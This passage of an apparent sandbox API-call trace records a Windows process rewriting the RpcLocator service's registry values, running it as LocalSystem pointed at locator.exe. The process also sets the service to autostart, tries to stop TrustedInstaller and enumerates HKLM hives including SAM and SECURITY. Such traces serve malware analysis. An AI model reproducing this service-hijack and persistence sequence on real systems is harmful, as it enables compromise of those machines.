lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.825] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.825] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.825] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.826] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.886] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0232.886] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.886] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.887] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.887] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0232.887] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0232.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0232.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0232.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0232.888] LocalFree (hMem=0x7e4b18) returned 0x0 [0232.888] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0232.888] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x8038a0 [0232.888] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0232.891] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.891] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.891] RegCloseKey (hKey=0x148) returned 0x0 [0232.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.892] RegCloseKey (hKey=0x150) returned 0x0 [0232.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0232.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0232.892] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0232.892] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.892] GetLastError () returned 0x20 [0232.892] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0232.893] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0232.893] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0232.893] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0232.893] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0232.893] GetLastError () returned 0x426 [0232.893] CloseServiceHandle (hSCObject=0x803990) returned 1 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0232.894] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0232.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.894] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.895] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.895] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.895] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0232.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.896] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.896] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", 